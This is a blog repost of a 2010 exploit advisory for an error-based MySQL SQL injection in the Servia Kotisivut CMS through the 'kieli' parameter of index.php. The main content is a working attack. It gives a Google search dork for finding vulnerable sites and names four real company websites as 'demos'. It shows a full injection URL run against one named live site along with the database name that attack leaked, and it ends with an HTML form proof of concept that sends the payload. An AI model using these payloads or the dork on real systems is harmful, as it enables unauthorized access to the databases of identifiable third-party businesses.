19 Aralık 2010 Pazar

Servia Kotisivut CMS - Remote Based SQL Injection Exploit

=======================================================
Servia Kotisivut CMS - Remote Based SQL Injection Exploit
=======================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
3                                                                      3
3             _     __       __    ________     __  __                 3
7           /' \  /'__`\   /'__`\ /\_____  \   /\ \/\ \                7
1          /\_, \/\_\L\ \ /\_\L\ \\/___//'/'   \_\ \ \ \____           1
3          \/_/\ \/_/_\_<_\/_/_\_<_   /' /'    /'_` \ \ '__`\          3
3             \ \ \/\ \L\ \ /\ \L\ \ /' /'    /\ \L\ \ \ \L\ \         3
7              \ \_\ \____/ \ \____//\_/      \ \___,_\ \_,__/         7
1               \/_/\/___/   \/___/ \//        \/__,_ /\/___/          1
3              >> Exploit database separated by exploit                3
3                     type (local, remote, DoS, etc.)                  3
7                                                                      7
1          [+] Site            : 1337db.com                            1
3          [+] Support e-mail  : submit[at]1337db.com                  3
3                                                                      3
7               ############################################           7
1               I'm KnocKout 1337 Member from 1337 DataBase            1
3               ############################################           3
3                                                                      3                                            
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[~] HomePage : http://h4x0resec.blogspot.com
[~] Reference : http://h4x0resec.blogspot.com
[~] Special Thanks : DaiMon,BARCOD3 and H4X0RE SECURITY
##############################################################
exploit(lamer)-DB.com FUCK LAMERS. ;)
############################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Servia Kotisivut
|~Price : N/A
|~Version : N/A
|~Software: http://www.servia.fi/
|~Vulnerability Style : based SQL INjection
|~Vulnerability Dir : /
|~sqL : MysqL based Error
|~Google Keyword : inurl:index.php?kieli=3 "Servia Kotisivut"
|[~]Date : "19.12.2010"
|[~]Tested on : (L):Vista (R):Apache PHP/5.1.6 MySQL >=5 and DEMOS.
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Demos:
http://www.jl-joustoliitin.fi/
http://www.kytola.com
http://www.suomenterastekniikka.fi
http://www.brinex.fi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ===============================================================
    |{~~~~~~~~ Explotation| index.php SQL Injection~~~~~~~~~~~}|
    
    http://$localhost/$path/index.php?kieli=3 {Based SQL Injection}
    
    Ex; http://www.brinex.fi
    
    [~] SQL Injecting
    http://www.brinex.fi/index.php?kieli=3 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
    [~] MySQL Writes : Duplicate entry '~'brinextm_verkkovelho'~1' for key 1
    [+] Database OK. : 'brinextm_verkkovelho'

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POC Exploit
    
<html>
<body>
<form 
action="http://www.brinex.fi/index.php?kieli=3 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1" 
method="POST">
<input type="submit" name="kieli" value="Click and SQL Injection for click Enter">
</form>
</body>
</html>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Hiç yorum yok:

Yorum Gönder